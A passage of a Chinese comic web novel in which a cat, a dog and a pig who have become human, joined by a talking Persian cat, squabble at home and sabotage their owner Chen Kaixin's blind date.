汉堡猛地回头瞪他,当头甩了可乐一个大耳光。
可乐一脸懵逼,捂着脑袋不知所措:“你干嘛?”
“你才干嘛?!”汉堡龇牙,缓缓抬起刚磨好的前爪舔了舔。
要不是这是人类的手,他们变成人的第一天,指甲就被陈开心帮他们修剪掉了,汉堡铁定要亮出尖尖的指甲警告这只傻狗。
可乐委屈地撇下了嘴,用眼神无声地向陈开心哭诉:“我只是想要你帮我拿肉干。”
“拿肉干你扒拉我干嘛!不知道我们猫和你们狗的肢体语言是相反的啊?”汉堡不满地皱皱鼻子,转过身拿屁股对着可乐,不愿再搭理他。
可乐郁闷,生气,但胆大,越不让他做什么,他偏要做什么,于是他一声不吭地低下头,赌气般地去闻汉堡的屁股。
“啪!”
这下好了,汉堡彻底炸了毛,反手一把按住可乐的脑袋,身手矫捷地骑在他腿上,把他压在身下暴揍。
“让你闻!让你闻!猫屁股是你们狗能闻的吗?!”
可是,狗狗闻屁股只是想要和猫猫一起玩。
可乐虽大只,却不敢反抗,“柔弱无力”地瘫倒在后座上,任由汉堡在他身上闹腾。
两人吵吵闹闹地在车内打架,等红绿灯的间隙也不消停,停在斑马线前的汽车在他们的□□下一起一伏的。陈开心被闹的头疼,随手按下车窗透透气,懒得管他们。
隔壁车道的汽车车窗也被摇了下来,驾驶座上的一位大哥探了头出来,好奇的眼神一个劲儿地往陈开心车里瞄,神情暧昧。
“哥们玩的挺开啊,你在前面开车能憋的住吗?”
嗯?什么意思?
陈开心一头雾水,对上那大哥调侃的目光,脑子一时没转过弯来:“憋什么?”
“呦,还装呢?”大哥嘿嘿一笑,向陈开心递了个“大家都懂”的眼色,“你这车都晃成这样了,再晃下去,得把交警晃来了。”
……懂了。
陈开心感觉自己脑门上飞过了一排乌鸦,眼看着红绿灯跳了绿,他迫不及待地松了手刹,一脚油门轰了出去,伴随着发动机轰隆隆的鸣叫,同时响起的还有他咬牙切齿的训斥声。
“汉堡!可乐!你们给我坐好!”
这下好像真的闯了祸,离开菜市场的时候,主人的脸色还没有这么黑,怎么开车走了这么一段路,主人盯着他们的眼神就恨不得咬死他们。
可乐讨好地用额头蹭蹭陈开心的肩膀,却被后者拿一根手指给顶了回去。
“坐好。”陈开心面无表情地看着沙发上排排坐的汉堡和可乐。
呃,还有一只眨巴着无辜的眼睛,不知道发生什么事情的猪猪。
猪猪抱着波斯猫,手里有一搭没一搭地帮它理着杂乱的毛,眼睛滴溜溜地在那三人之间来回转悠。
“好好撸。”波斯眯了眯眼睛,凑近雪碧耳边低声警告,向他威胁地亮出了爪子。锐利的尖爪锃光瓦亮,在雪碧眼皮底下散发着阴森森的白光。
雪碧倒吸一口凉气,立马低眉顺眼,认认真真地帮波斯按摩起来:“嗐嗐,斯米马赛。”
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>他最近和汉堡,可乐一起玩,好的没学到,尽跟着汉堡看的那抗日电视剧鹦鹉学舌了。
小猫显然也想到那个电视剧,电视剧里那个山本太郎犯了错,好像是要……
“我错了!我切腹自尽!”汉堡双手握拳扬起,像是举起了手里那把虚拟的长剑,鼓起腮帮子朝天喷出了一口并不存在的血。
“噗!”他透明的血洋洋洒洒地从空中飘落。
可乐不敢置信地张大了嘴,颤抖的手臂接住了汉堡掉落的身体,咧着嘴巴仰天长啸:“No!!!”
又是一轮的口水雨。
陈开心淡定地擦了擦脸上的口水,尴尬而又不失礼貌地微笑:“戏过了,再演今晚就别上我的床。”
收!
可乐和汉堡一秒正色,又恢复成规规矩矩的模样,端坐在沙发上。
“唉。”陈开心无奈地叹了口气,“你们知道错了吗?”
汉堡和可乐茫然地彼此对视了一眼,点点头又摇了摇头。
小猫小狗怎么会知道自己犯了错呢?他们又不是人类,不懂得礼义廉耻,在他们的世界里,主人说的就是对的,主人做的一定是最好的,主人就是他们的清规戒律。
可他们现在变成人了啊,不得不受人类世界无形的道德法律约束。
陈开心尽量用浅显易懂的语言解释给他们听:“波斯也是一条生命,你们不能随便把它卖给别人,还有你们也是两条生命,我开车的时候不能打闹,知道吗?”
“可是可是……”可乐乖乖地举手想反驳陈开心,又涨红了脸,结结巴巴了半天,憋了一肚子话没讲的出来。
陈开心耐着性子等他,温柔地揉揉他头发:“可是什么?”
可乐捧着陈开心的掌心,用脸颊和他贴贴,没说出来的话尽数被身边的汉堡一股脑儿抢先说了出来。
“可是我们的命本来就是主人你给的啊。”
小猫小狗怎么会理解死亡呢?他们只会无条件地信任自己的主人,因为在他们的世界里,主人就是他们的生命。
13. 要相亲了
波斯猫最终没被送走,小猫小狗被主人训了一顿后老实了几天,决定先把赶走绿眼睛这件事放一放,因为他们有更重要的事情要做。
他们的主人要被抢走了!!!
这件事情的起因还要从猫猫狗狗送走波斯那天开始讲起,花姐目睹了陈开心领着他那“精神病”亲戚离开了菜市场,她越想越不放心,晚上端着一锅自己包的包子敲响了陈开心的家门。
开门的是一个脸上糊满了面粉,头上包着毛巾,身上披着床单的男人。
男人倚着门框,对门口目瞪口呆的花姐歪嘴邪魅一笑:“美女,找谁?”
被一个大帅哥喊了美女哎,花姐乐得合不拢嘴,顺手牵过雪碧的手拉着他进屋:“开心在家吗?我包了点包子送过来给你们尝尝。”
她一走进客厅,仿佛走进一个神秘的仙境,眼前刹那间起了雾,漫天的面粉飞舞着挡住了花姐的视线,朦朦胧胧间只看见那两个“精神病”在用面粉打“雪仗”,上蹿下跳得宛如猴子下山。
亲娘嘞,家里有精神病原来这么闹心,开心怎么过的是这种日子?花姐心里对陈开心更怜爱几分。
雪碧见怪不怪地坐到茶几旁,认认真真地按照主人教他的方法包包子。
察觉到有人进来,汉堡和可乐疑惑地眨眨眼睛,看着花姐辨认了几秒,待脑子里反应出来这是熟人后,又继续开打起来。
“呃,那个。”花姐犹犹豫豫不敢迈进战场,在玄关口呼唤他们,“开心呢?”
“买醋去了。”雪碧头也不抬,只专注于他手里的包子。
他们今晚准备吃包子,待一切准备工作就绪后,陈开心发现没醋了,于是交待他们按照学习的步骤先包包子,自己则去楼下超市买醋。
他前脚刚走,后脚家里就炸开了锅,本来安安分分坐在茶几旁学包包子的小猫小狗抓起一把面粉就糊上了对方的脸,还企图拉雪碧加入自己的阵营一起对抗对方。
雪碧难啊,无论得罪哪一方,他以后在这个家里的日子都不好过,索性当起缩头乌龟,成为了那个唯一一个在认认真真包包子的人。
当陈开心买了醋打开家门的时候,眼前匪夷所思的一幕让他恍惚间以为打开了什么奇妙之门。
缥缈如天宫的白雾,飞檐走壁的猫狗,披着床单像只大蝙蝠的雪碧,此起彼伏兴奋的尖叫声,还有坐在沙发一角,瑟瑟发抖望着自己的花姐……
陈开心愣在门口,手里刚买的醋险些拿不住摔在地上,他扶着墙两眼一黑,按着自己的人中避免昏厥过去,朝那些不省心的大冤种们发出一声怒吼:“汉堡!可乐!雪碧!去卧室罚站!”
猫猫狗狗自知又犯了错,乖乖地去罚站,可是猪猪不服气啊,猪猪又没有犯错,凭什么要和他们一起罚站?
“我抗议!”雪碧不满地举手,“我没有参与,我不罚站!”
陈开心一秒驳回:“抗议无效!你冷眼旁观,没有劝阻就属于从犯!”
“那她也是从犯!她也没劝阻!”雪碧义正言辞地指着花姐,企图拉一个垫背的。
陈开心这暴脾气上来了,放下醋,撸起袖子,顺手拿起扫把就揍了上去:“你再说!再说!顶嘴一句加一小时!”
呦呦呦,主人炸毛了,小猫小狗赶紧捂住雪碧的嘴,一人抱胸,一人扛腿把他拽进了卧室。
世界终于安静了,陈开心扔掉扫把,手叉着腰粗喘两口气才想到家里还有另外一个人。
他丢人地抹了把脸,勉强挤出一丝微笑转身面向沙发上的花姐:“花姐,让您见笑了,您是有什么事吗?”
花姐惊魂未定,没想到一向脾气温和的陈开心生起气来也如此恐怖,她抚抚心口镇定下来,拍了拍身边的位置:“你坐,我有重要的事情和你说。”
卧室门被悄悄打开一条缝,三只脑袋从缝里伸了出来。
“听见了吗?在说什么?”汉堡趴在三人的最上面,扯了扯下面可乐的耳朵。
狗的耳朵再怎么灵敏,也架不住那么远的距离,更何况花姐还凑在陈开心耳边刻意小声地说话,可乐更加听不清了。
“好像是什么……女儿,什么相亲?”可乐皱着眉头复述。
“什么?!”汉堡大惊失色,连忙捶着可乐的背,“不行!不行!我不同意!”
“你不同意什么?”可乐被他捶得龇牙咧嘴,困惑地抬头看他。
“傻狗!”汉堡一脸恨铁不成钢的模样,给了他脑壳一个暴栗,”当然是我不同意主人去相亲啊!”
“相亲?相亲是什么?”可乐揉揉脑壳,还是不懂。
“笨!”这下连雪碧都听不下去了,“相亲就是相互亲亲。”
他眯着眼睛,撅起嘴往可乐脸上示范性地亲去,却被后者一巴掌给嫌弃地拍开。
可乐这下听懂了,也急了:“主人不能和别人亲亲,主人只能亲我!”
汉堡给他飞了一个眼刀。
可乐摸摸鼻子,在他无声的警告下声音越说越低:“好吧,还有你。”
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>可现在是争这个的时候吗?
雪碧焦急地问他们:“那我们该怎么办?本来主人就一个,还不够我们分的,要是被别人抢走了我们不就没主人了吗?”
汉堡更急,可急也没用呀,知己不知彼,连怎么赶走敌人都不知道。
他把耳朵又往外伸了伸,有些烦躁:“哎呀,听不见,有没有什么办法能听到他们讲什么?”
能有什么办法?总不能大摇大摆地坐到他们身边去听吧?这不得再次把主人惹毛了?
可乐和雪碧面面相觑,均从对方眼中看出了无可奈何。
哎呀,三个臭皮匠都顶不过一个诸葛亮,要他们有何用?!汉堡急躁地舔了舔自己的爪子。
雪碧看着头顶上舔爪子毛的汉堡,突然灵光一闪:“绿眼睛!让绿眼睛去!”
波斯猫轻盈地跳上沙发,在陈开心腿上寻了个舒服的位置躺了下来。
正在喋喋不休的花姐看到小猫,蓦地止住话头:“这是你新养的猫吗?我记得你之前那只猫不长这个样子啊?”
“啊?啊啊啊对。”陈开心撸撸猫毛,心里琢磨着该怎么拒绝花姐刚刚让他和她女儿相亲的要求,“那个,花姐,我……”
“开心呐,时候不早了,我得回去了。”花姐从沙发上站起来,拍拍陈开心的肩膀,“我给你带了二十个小笼包在厨房,记得趁热吃。”
还给他带了包子啊,陈开心的心头一暖,更不好意思拒绝了。
他拒绝的话在嘴边转了转,最后还是咽回了肚子里:“那就……等你女儿回来再说吧。”
好不容易将花姐送出门,陈开心看着满室的狼藉,深深叹了口气,认命地拿起扫把打扫起来。
客人走了,主人在默默地打扫卫生,替他们“擦屁股”,看上去孤单又寂寥,好可怜。
害怕主人一气之下不要他们,汉堡、可乐和雪碧也从卧室里出来自觉地帮陈开心干活。
这个时候倒是听话,陈开心一边唉声叹气,一边指挥他们端水的端水,擦地的擦地。
四个人忙活了半天终于收拾完了,瘫在地上累得要死,晚上要吃的包子也没包成,想到花姐送来的包子,陈开心挣扎着起来去厨房弄晚饭。
一进厨房,他整个人又如天打雷劈,风中凌乱了。
波斯猫跳在料理台上安逸地趴着,一爪捧着一只包子,小嘴吃的“吧嗒”响,竟然一声不吭地把二十个包子都吃了,只留下一个空锅在灯光下闪闪发光,似乎嘲笑着陈开心的天真。
14. 世界大战
小猫小狗不理解相亲的含义,也不知道女朋友是什么意思,小猪在菜市场呆久了,久而久之见多识广,一本正经地给他们科普这些意思。
三个人在阳台上排排坐着,面对着玻璃晒太阳,小脑袋凑在一起窃窃私语。
听完雪碧的解释,可乐惊恐地瞪大眼睛,夸张地捂住自己的嘴巴:“所以……主人要被抢走了!”
“呸呸呸,乌鸦嘴!”汉堡一爪子挠了挠他,又冷着脸,低头质问在他腿上睡觉的波斯,“绿眼睛你说!你去听到了些什么?”
他们派波斯潜入陈开心和花姐的谈话现场,让它偷听主人的讲话,波斯没有犹豫就同意了,交换条件是汉堡他们不能再赶它走。
汉堡虽然觉得这笔买卖不太划算,但谁让他有求于人呢,只能内心挣扎着和波斯猫签下了这款条约。
没有了被赶出家门的后顾之忧,波斯猫在这个家里混得越发的如鱼得水,甚至还有意无意地让雪碧告诉汉堡和可乐,它会讲话的事情。
前段时间它因为会讲话被前主人遗弃了,在街头流浪至今,好不容易找到陈开心这个免费饭碗,波斯一直装着不会讲话的模样,害怕再次被抛弃,可现在看来,它只是会讲话而已,在那三只变成人的动物面前简直就是小巫见大巫。
它舔舔自己的毛,在汉堡的腿上拉长身体慵懒地伸了个懒腰,抻到一半又被汉堡强行给蜷缩起来,揪着它后颈拎起:“你快说啊!绿眼睛,你听到什么?不说我就把你从阳台上扔下去!”
汉堡站起身,威胁地要把波斯从窗户上丢下去,吓得波斯扬着尾巴缠在他手腕上,张扬舞爪地喵喵叫唤着。
雪碧瞄了一眼楼层高度,冷不丁地开口提醒:“高空抛物犯法,残害同胞犯太岁。”
闹归闹,汉堡也没想真的要扔波斯,他烦躁地嘟囔几句,抱着波斯重又坐了下来,面露愁色:“哎呀,我这不是着急嘛,主人要是被抢走怎么办?到时候鱼干和肉干都没啦!”
他手底下戳戳可乐的膝盖,企图拉他下水:“傻狗,你说是不是?”
谁说不是呢?可乐义正言辞地举起拳头扬了扬,眼神义愤填膺:“我们一定要把坏人赶走!”
“对!”“对!”汉堡和雪碧坚定地附和他,他们这该死的团魂总是用在奇怪的地方。
波斯猫余光瞥着他们,突然动了动嘴角笑起来,将自己打探到的情报如实相告:“五一节主人会和那女的在咖啡馆见面,你们准备怎么做?”
怎么做?这倒是没想好。小猫、小狗、小猪脑袋聚在一起又窃窃私语起来。
陈开心下午下班回家的时候,他家的小宝贝们竟然没有集体蹲坐在家门口迎接他,这让他大吃一惊,还以为出什么事了,结果急急忙忙地找到了人,发现那三个人连同一只小波斯猫躲在阳台上不知道在干什么。
“又在干什么坏事?”陈开心悄无声息地站到他们身后,居高临下地俯视着他们手里拿着的白纸,纸上画了一堆乱七八糟的线条,鬼画符般的,也不知道写了些什么。
正在绞尽脑汁准备破坏计划的“坏人们”被吓了一跳,汉堡忙把作案纸往可乐屁股底下塞,可乐心有灵犀地抬起屁屁,一个屁墩儿结结实实地坐上去,雪碧则一个飞扑,嬉皮笑脸地挡在所有人的面前。
“没……没什么。”他心虚地往身后瞄了瞄。
这些臭小子紧张的心情都摆在脸上了,还真当陈开心看不出来他们肚子里憋着坏呢,可他们不说,陈开心也懒得追问,就汉堡那一身反骨,逼急了指不定又带着可乐离家出走。
陈开心半信半疑地转过身,临走前仍不放心地警告两句:“我去给你们准备晚饭,你们闹归闹,别拿自己小命开玩笑啊!”
“好哒!”猫猫狗狗猪猪乖巧地点点头,微笑着目送陈开心进厨房,又立马头靠头地围在一起。
“呼~吓死本猫猫了。”汉堡后怕地拍拍胸口,拍拍自己颤抖的小心脏。
等心脏归位,他一把推开身旁的可乐,从他屁股底下拽出纸,继续琢磨着他的破坏大计。
可乐被他冷不丁地推了个四脚朝天,却敢怒不敢言,只能撅着嘴,用眼神无声地控诉汉堡。
波斯猫懒洋洋地在雪碧膝盖上翻了个身,看着他们这一副如临大敌的模样,又看看汉堡那纸上乱七八糟的黑线条,忍不住吐槽:“有没有一种可能,就是你把这张纸正大光明地给主人看,
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他也认不出来这黑糊糊的东西是什么?”
猫猫写的字连其他猫猫也看不懂,更别说狗狗和猪猪了,可狗狗和猪猪知道看眼色,不能说猫猫写的字难看,不然猫猫会挠他们的,他们是好狗好猪,才不会和猫猫这种小动物计较,就算被挠了也只能委屈地忍着,所以可乐和雪碧死都不敢说汉堡写的难看。
可波斯就不一样了,波斯也是猫猫,那汉堡也是猫猫,猫猫才不怕猫猫呢,一猫对一猫,一山难容二猫。
汉堡“啪”地扔掉手里抓着的笔,瞪大着眼冷冰冰地看波斯,喉咙里发出低吼,牙齿要龇不龇的,这是他快要生气的前兆。
气氛逐渐尴尬起来,可乐和雪碧对视了一眼,都从对方眼中看到了“不好”的危险信号,连忙一个拉住快要炸毛的汉堡,一个捂住不怕死的波斯,手忙脚乱地分开这两猫。
吓死狗狗和猪猪了,世界大战差点儿就爆发。
可乐好声好气地安抚着汉堡,撸着他的后脖颈给他顺毛,一个劲儿地夸他写的字好看,很有抽象艺术感。
而雪碧抱着波斯屁滚尿流地躲到了客厅沙发上,一边观察着阳台上汉堡的动向,一边苦口婆心地劝波斯:“你惹他干嘛呀?不知道他是这个家的小霸王啊?连主人都得看他脸色,再说就你这小身板,打起来不得吃亏死。”
不听不听不听!
波斯郁闷地拿尾巴盖住自己的脸,闷闷不乐。哼!同样都是猫,凭什么要让着那只霸道的凶猫,就因为他脾气爆,还大只吗?不行!我也得变成人!变成和汉堡一样大的人就可以打得过他了!
波斯暗暗下定决心,这变成人的想法一经产生就跟播了种的种子一样,在他心底生根发了芽。
可眼下比他变成人更急迫的事情是破坏掉陈开心的相亲约会,不能让主人变成别人的主人。
于是在五一节到来的前两天,花姐的女儿放假回来约陈开心吃饭的那天晚上,陈开心给家里的猫猫狗狗猪猪都准备了晚餐安顿好,自己才精心打扮一番出门赴约相亲。
而三分钟后,本该在家里安分呆着的小猫小狗小猪,一人头上罩着一个黑色塑料袋,猫着腰,鬼鬼祟祟地跟在了陈开心的身后。
15. 相亲搞砸了
市中心氛围浪漫高雅的咖啡馆里,陈开心按照花姐给的座位号找到她的女儿,不多不少,时间掐的刚刚好。
花楹品咖啡的间隙,看到一位帅气儒雅的男子急匆匆地走到自己的座位旁,和她抱歉说迟到了。
她放下咖啡杯,不由得眼前一亮:“陈先生?”
她妈妈只说给她介绍了一个新搬来的,长相出众的邻居小伙子,也没说邻居长得这么好看啊!
她惊喜地连连摆手,高兴地合不拢嘴:“不迟到不迟到,是我来早了。”
陈开心为表歉意,拿菜单点了一些甜品向花楹赔罪,两人都不是什么不善交际的人,等甜品送上来之前,你来我往地交谈两句后基本就打开了话匣子。
咖啡厅里为了营造雅静舒适的格调,加强客人交流的私密性,每个座位都布置成了单独的小沙发空间,用来方便隔开客人和客人间的距离,这就导致了坐在陈开心两个座位后的汉堡他们压根看不见陈开心和他的相亲对象在做什么。
汉堡和可乐面朝陈开心方向跪坐着,上半身趴在沙发上,耳朵恨不得拉到最长都没能听见那边一丝一毫的动静。
“不行!根本就听不到嘛!”汉堡扒拉开挡在他面前的盆栽叶子,从沙发上敏捷地挪了下来,“我要坐到主人后面的位置上去。”
可乐吓得赶紧拉住他:“哎哎哎,你傻啊,坐他后面不就被发现了吗?”
“可是连你们狗都听不见他在说什么,我们猫就更听不见了。”汉堡哭嘁嘁地皱着一张小脸,郁闷地坐回沙发上,向一旁的雪碧确认,“雪碧,你听到什么了吗?”
“嗯嗯。”雪碧敷衍地点点头,显然对他的话心不在蔫,手指却飞速地菜单上点着,眼里冒着兴奋的光芒,“这个!这个!这个!这个!我都要吃!”
猪猪虽然不识字,但是猪猪看到那些好吃食物的图片,哈喇子就流了一地,什么都想吃。不止猪猪想吃,狗狗也想吃。
可乐的小脑袋瓜凑上去,加入雪碧的点餐队伍:“那我要吃这个!”
话音未落,他的脑壳被凭空甩了一个大逼兜。汉堡恨铁不成钢地从他们手里抢走菜单,一人给了一个爆栗:“吃吃吃!你们就知道吃!”
他低头瞄了眼菜单,菜单上面贴着五花八门,制作精良的小蛋糕图片在无声地诱惑他,汉堡咽了咽口水,又清清嗓子,故作矜持地在一个图片上戳了戳:“那我要这个!”
猫猫狗狗猪猪点了一大堆小蛋糕摆满了桌面,波斯作为宠物猫不能上桌和他们一起吃,他们还好心地偷偷拿了个甜品放在沙发上投喂给波斯。
陈开心上完厕所从洗手间出来,路过咖啡馆餐台的时候,听见两个服务员躲在角落里说悄悄话,一边捂着嘴偷笑,一边对着他位置方向指指点点的。
“没见过这么吃蛋糕的。”一个服务员怂恿另外一个服务员快拿手机出来拍照。
毕竟三个帅哥吃蛋糕不稀奇,三个超级大帅哥吃一桌的蛋糕也不稀奇,三个超级大帅哥你争我抢地直接用嘴啃蛋糕那可真是活久见了。要不是他们三个都长得人模狗样,一表人才的,服务员都要以为是哪里来的流浪汉了。
陈开心甩了甩手上的水,顺着服务员的视线好奇地望去,这不看不打紧,一看他的血液瞬间就“腾”地冲到脑仁了。
“你们!”他顾不上手还湿的,撸起袖子气势汹汹地往汉堡那桌走去,走近后看到他们桌上的草莓蛋糕,芝士蛋糕,巧克力蛋糕啥的堆满了一桌,更是气得牙痒痒。
“可乐!我说过多少次了,狗不能吃巧克力!”陈开心二话不说地揪起可乐的耳朵,从蛋糕上拎起了他的脑袋。
奶油糊了可乐一脸,他意犹未尽地伸出舌尖舔了舔唇边残留的奶油,对着陈开心乐呵呵地傻笑:“主人,好好吃,你吃你吃!”
他撅着小嘴往陈开心唇上蹭,双手摇晃着陈开心的胳膊,闹着非要主人一起尝尝这好吃的蛋糕。
额滴神啊!这要真是只小狗也就罢了,可可乐现在不是啊!他是个一米八几的大男人!一个大男人抱着陈开心不说,还一个劲儿地要亲他,这画面怎么看怎么诡异。
汉堡也吃嗨了,搂着陈开心的脖子,仰着小脸凑上去,一双亮晶晶的眼睛盯着陈开心,竟然和他撒娇:“主人!真的好好吃,比好吃的鱼干还要好吃一百倍!”
他脸上沾了五颜六色的奶油
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,真是名副其实的小花猫了。
陈开心抽了张纸巾挨个替他们擦干净脸,也怪他平时不让汉堡可乐他们碰蛋糕这类甜品,这小动物一旦吃到了甜食,谁能把控的住。
他哄孩子般的,轻声细语地哄着他们:“好吃你们不能吃这么多啊,回头该拉肚子了。”
“不多不多,我能都吃完!”雪碧乖巧地任由他给自己擦着脸,又从沙发上抱起波斯炫耀给陈开心看,“波斯也在吃,他也有帮忙一起吃!”
波斯优雅地舔干净爪子上的奶油,白了雪碧一眼,表示不想搭理他。
那头,花楹见陈开心在这桌旁边站了很久,迟迟不回来,正准备过来找他的时候,冷不丁看见一个男人扑进陈开心的怀里,接着又来一个男人抱住他的腰,然后还有一个男人被他搂在怀里擦脸,那神态要多亲昵有多亲昵。
三个男人挤在小小的卡座里,以一种奇怪的姿势吊在陈开心的身上,花楹目瞪口呆,彻底看傻眼了。
这这这……她妈不是说陈开心单身吗?怎么现在看来他不仅不是单身,还有一、二、三……三个男朋友?!靠,合着她被一个海王玩的团团转吗?!
花楹当即拎起自己的小背包,高跟鞋踩的“嗒嗒”响,走到陈开心面前站定,还没等陈开心说什么解释的话,她一个背包大力抡到他的身上。
“臭渣男!去死吧!”她砸了陈开心好几下才解气,怒不可遏地踩着高跟鞋,头也不回地走了。
变故发生的太快,陈开心被打的一脸懵逼,还是可乐率先反应过来,龇牙低吼几声要去追花楹咬她,又被陈开心拦腰抱住了。
“好了好了!别闹了!”陈开心一个头两个大,围观的吃瓜群众越来越多,他可不想出现在晚八点的八卦论坛上。
得,人被气走了。吃吧,这下大家一起快乐地吃蛋糕吧。
陈开心哭笑不得地看着他家的这一堆大冤种,无奈地摇了摇头,坐下来和他们一起慢慢解决着桌上的蛋糕。
桌子底下,汉堡、可乐和雪碧偷笑着互相比了个胜利的“耶”,波斯猫趴在雪碧的膝盖上,慵懒地伸了个懒腰,也伸出爪子学着他们的样子一起比了个“耶”。
16. 神勇波斯
要是家里来了个狐狸精,陈开心能柳下惠附体把控住的吗?
汉堡,可乐和雪碧看着电视剧里纣王被妲己迷的神魂颠倒,是非不分的模样,三个人眯着眼睛,纷纷转头看向坐在地毯拿逗猫棒逗波斯的陈开心。
波斯猫虽然不屑这种被人玩弄于鼓掌之中的感觉,但是奈何毛茸茸的逗猫棒对它的吸引力远远超过它那多余且无用的自尊,它后爪支撑着日渐肥嘟嘟的身体站在地上,举着两只小前爪,乐此不疲地扑着逗猫棒玩。
一人一猫玩的不亦乐乎,陈开心被逗得前俯后仰,乐的兴致冲昏头脑,像抱婴儿那样抱着波斯,把头埋在它肥嫩鲜美的毛肉上蹭来蹭去,陶醉又满足地深深吸了一口气,似乎是从波斯猫身上得到灵魂的慰藉。
“啪!”汉堡硬生生掰断手里捏着的鱼干,说出口的话酸意十足,“绿眼睛怎么可能是我们同类的猫猫,这分明是只狐狸!”
专门勾引主人的狐狸精!
呦呦呦,同住屋檐下,咋还吃醋了呢?
雪碧斜睨他一眼,捡起掉在地上的那半拉鱼干吃起来,口齿不清地纠正汉堡:“你们俩长得一模一样,可别大哥说二哥了,绿眼睛要真是狐狸,那你也是狐狸!”
“你才是狐狸精!”汉堡圆目一瞪,把手里剩余的鱼干胡乱塞进嘴里,揪着雪碧的耳朵直把他压在沙发上暴揍。
揍归揍,咱不能拿食物开玩笑。
可乐默默地从他们屁股底下拽出零食袋子,在里面掏出两枚肉干,盯着陈开心的方向气鼓鼓地扔过去。
被砸中的陈开心也不恼,对可乐飞了个香吻,捡起肉干转手就送到波斯猫的嘴里。
波斯猫一看见肉干,脑袋忍不住往前凑,小而红润的舌尖伸出来舔了舔肉干,砸吧两下嘴,像是在评估食物的味道,可能吃起来感觉还不错,它便又伸出粉嫩的舌头沿着肉干咬动,慢慢地啃着啃着,最后只剩一点肉渣时,它尖细的齿尖研磨上陈开心的食指。
酥酥麻麻,有点儿疼又有点儿痒,直痒进陈开心的心里。
他反手勾了勾波斯的小牙齿,心思不禁旖旎起来,等波斯“喵呜喵呜”的叫唤,用爪子扒拉他的手,表明自己还要吃的时候,陈开心猛然回神,直接呛了口水:“咳咳咳!”
老天!他刚刚在想什么?!!竟然在幻想着波斯猫要是和汉堡他们一样变成人后,趴在他身上用牙齿啃咬他肌肤的画面!!!
呜呼呜呼,罪过罪过,善哉善哉。陈开心的脸瞬间涨得通红,口中念念有词,默念好几遍大悲咒。
不知道是不是感知到陈开心内心的翻江倒海,还是觉得他手指滚烫的温度挠着自己很舒服。
波斯踩着他的膝盖躺倒在他腿窝里,懒懒地翻了个身后,掀开眼皮朝上看他,泛着透绿的眸子直直对上陈开心的眼睛。
陈开心倏地一怔,觉得自己好像被一瞬深不见底的漩涡给吸进去了,又好像轻飘飘地浮在一洼碧绿的河流里。
他痴痴地盯着波斯,连大悲咒都忘了继续念。
一猫一人静静地对视着,仿佛世界只剩下他们两个,沙发上排排坐的那三只都是摆设。
一时之间寂静无声,暗潮涌动,徒留沙发上那三人恨恨的咬牙切齿声。
汉堡(嘴里的鱼干立马不香了):绿眼睛上辈子绝对是只狐狸!很会勾引人的那种!绝对!!!
可乐(哀怨地嚼着肉干,化悲愤为食量):我盯!我盯死你们!!
雪碧(吃嘛嘛香,但是懂得看眼色):你们说的都对!啊呜啊呜,肉干真好吃~
到最后,还是突来的门铃声打断了这奇怪又诡异的氛围。雪碧从沙发上起身去开门,门一开,花姐看到雪碧那张俊脸印入眼帘,心情顿时开朗不少。
“开心啊……”她喊着陈开心的名字进屋,身后还跟着一脸心虚的花楹。
“快进来,花姐。”陈开心托着波斯的脑袋,抱着昏昏欲睡的小猫站起来迎接客人。
花姐见这一大家子都窝在客厅里看电视呢,话也不好多说,忙把花楹往陈开心那边推了推:“哎呀,真
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是不好意思,我没把你家里全部情况告诉我女儿,她误会你了,还让你白挨一顿打。”
花楹抿着唇,偷偷瞄了眼陈开心,自己虽然打了他,但陈开心好像并没有生气,那张脸看上去还是那么帅气又温柔。
她抱歉地笑笑:“对不起啊,陈先生,是我太鲁莽,我回去后被我妈教训了一顿,说你一个单身小伙子还养着三个神……呃……三个不懂事的亲戚,实在是善良勤恳,真的很不容易。”
“咔咔咔。”汉堡嚼鱼干的声音越来越大,面上是显而易见地不满花楹母女打断了他的进食。
“你才是神经病!”他默默腹诽。
花楹观察着陈开心的脸色,直到陈开心笑着说“没事,不打不相识嘛”,情商极高地把责任揽到自己身上后,花楹对陈开心的好感蹭蹭蹭地往上涨。
“那……陈先生,我们下次什么时候再约?”
她试探着开口,即使陈开心这一拖三的家境令人望而却步,但他的脸蛋实在吸引人,人品还格外好,要是两人能成,先谈谈恋爱总是不亏的。
“什么时候?”似乎已经想象到和陈开心谈恋爱后那美滋滋的生活,花楹往前一步,抓着陈开心的胳膊再次追问。
在陈开心一脸懵,完全没反应过来的时候,他怀里的波斯刹那惊醒,龇着一口小细牙,警惕地盯着花楹的手,然后张开血盆大口径直咬上了花楹的手背。
突如其来的变故吓得全屋子的人都目瞪口呆。
陈开心(倒吸一口凉气):完犊子,刚想拒绝呢,这下想甩也甩不掉了!
汉堡(鱼干也不吃了,不敢相信地眨巴眨巴眼):有人碰主人,这绿眼睛他是真下口咬啊!
可乐(飞快地在脑海里检索有没有得罪波斯):很好,没有,美美吃瓜。
雪碧(满眼崇拜,恨不得跪下当场认爸爸):你就是我的神!
波斯(咬完人继续窝在主人怀里,心满意足地睡觉觉):哼!狐狸精!竟然敢碰我们的主人!看我不咬死你!咬!咬!咬!
17. 波斯变成人
花楹被波斯猫咬了,鉴于已经破皮出血,陈开心给她简单处理一下就连夜送到医院急诊去打狂犬疫苗了。
一猫一狗一猪趴在阳台窗户上目送着陈开心开车离去,可乐想来想去还是没想明白。
“为什么她被绿眼睛咬了要去打狂犬疫苗?犬不是指我们狗狗的意思吗?难不成…...” 他指指汉堡,又指指雪碧,“你们也是狗?”
“啧。” 汉堡嫌弃地拍开他的手指,“你才是狗,你全家都是狗!”
“这你们就不懂了吧?” 雪碧摆出一副高深莫测的模样,“不止被猫咬了要打狂犬疫苗,连被我们猪猪咬了也得打狂犬疫苗。”
汉堡和可乐二脸疑惑:“所以说为什么呢?为什么不打狂猫疫苗,不打狂猪疫苗呢?”
“这......” 雪碧也被难住了,他只是一只在菜市场呆久了的猪猪,理解不了那么高深的问题。
不过波斯聪明,可以问波斯。
“绿眼睛,你说......” 雪碧扬声喊波斯猫,可他一回头,屋内哪里还有波斯猫小小的身影,只有一扇半开的房门在轻轻摇晃着。
猪猪捂着脑袋,吓得尖叫:“不好了!绿眼睛不见了!”
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波斯猫在陈开心离开后的一分钟,偷偷跟出了门,它知道自己闯祸了,可它咬花楹也不是故意的,它只是畏惧一切接近它主人的人。
上一个主人就是在它开口说话后,身边的朋友怂恿说它是个妖物,才动了要杀死它,为民除害的念头。要不是自己机警,怕早已被扔进麻袋里乱棍打死了。
